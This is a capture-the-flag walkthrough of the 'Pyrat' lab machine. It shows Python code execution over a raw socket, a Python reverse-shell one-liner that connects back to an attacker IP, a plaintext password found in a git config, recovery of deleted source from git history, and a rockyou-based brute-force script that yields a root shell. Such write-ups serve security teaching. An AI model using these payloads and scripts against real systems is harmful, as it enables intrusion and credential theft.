Pyrat

This is the description of the box:

Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application's older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.

Nmap tells us two ports are open, 22 and 8000.

Let's start with 8000

8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2

Using curl gives us a response saying "Try a more basic connection".

I tried with

nc 10.10.12.87 8000

and didn't think I got a respone. It just printed a new line but turns out I'm in a python interpreter. I try it out with:

import subprocess;print(subprocess.check_output("id", shell=True).decode())
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Let's see if I can get a reverse shell from this.

On attacker machine:

nc -lnvp 4444

On victim:

import socket,subprocess,os;s=socket.socket();s.connect(("10.10.247.50",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh"])

It works. That will help us move a bit more easily.

I got stuck here trying to figure out the clue "Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials."

After a bit of research I figured out it was probably git (and git config) related.

Searching for this:

find / -type f -name "config" -path "/.git/" 2>/dev/null

Returns:

/opt/dev/.git/config

And this file contains the following:

// Some code[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[user]
    	name = Jose Mario
    	email = [email protected]

[credential]
    	helper = cache --timeout=3600

[credential "https://github.com"]
    	username = think
    	password = _TH1NKINGPirate$_

We can SSH to the machine as think and get the user.txt file which contains the first flag.

Time to get the Root flag.

To see the commit history we run

git log --oneline --graph --all to find all the commits in the repository. The result is only one commit that looks very promising. We checkout that branch and see that it deleted a file.

think@ip-10-10-129-10:/opt/dev$ git checkout 0a3c3
D	pyrat.py.old
Note: switching to '0a3c3'.

We checkout the commit right before the deletion instead and take a look at the source code.

think@ip-10-10-129-10:/opt/dev$ cat pyrat.py.old 
...............................................

def switch_case(client_socket, data):
    if data == 'some_endpoint':
        get_this_enpoint(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0):
            change_uid()

        if data == 'shell':
            shell(client_socket)
        else:
            exec_python(client_socket, data)

def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)
        os.dup2(client_socket.fileno(), 1)
        os.dup2(client_socket.fileno(), 2)
        pty.spawn("/bin/sh")
    except Exception as e:
        send_data(client_socket, e

...............................................

I tried connecting from the attacker machine again to experiment with the input data. On the first try I put admin and I got prompted for a password. Let's try fuzzing the password here.

The following script will try to find the password using the rockyou.txt wordlist.

import socket

HOST = "10.10.129.10"
PORT = 8000

password_file = "/usr/share/wordlists/rockyou.txt"

with open(password_file, encoding="utf-8", errors="ignore") as f:
    passwords = [line.strip() for line in f if line.strip()]

def recv_until(s, expected, timeout=2):
    s.settimeout(timeout)
    data = b""
    try:
        while expected.encode() not in data:
            chunk = s.recv(1024)
            if not chunk:
                break
            data += chunk
    except socket.timeout:
        pass
    return data.decode(errors="ignore")

def try_passwords():
    for pwd in passwords:
        print(f"Trying password: {pwd}")
        try:
            s = socket.create_connection((HOST, PORT), timeout=5)
        except Exception as e:
            print(f"Connection error: {e}")
            return

        s.sendall(b"admin\n")

        prompt = recv_until(s, "Password:")
        print(f"Received prompt: {prompt.strip()}")

        s.sendall(pwd.encode() + b"\n")
        response = recv_until(s, "Password:", timeout=3)
        print(f"Response after password: {response.strip()}")

        if "Password:" not in response:
            print(f"[+] Password found: {pwd}")
            s.close()
            return

        print("Password rejected, closing connection and trying next password...")
        s.close()

try_passwords()

We quickly find the password and can now connect as root.

root@ip-10-10-136-105:~# nc 10.10.129.10 8000
admin
Password:
abc123
Welcome Admin!!! Type "shell" to begin
shell
# whoami
whoami
root

Last updated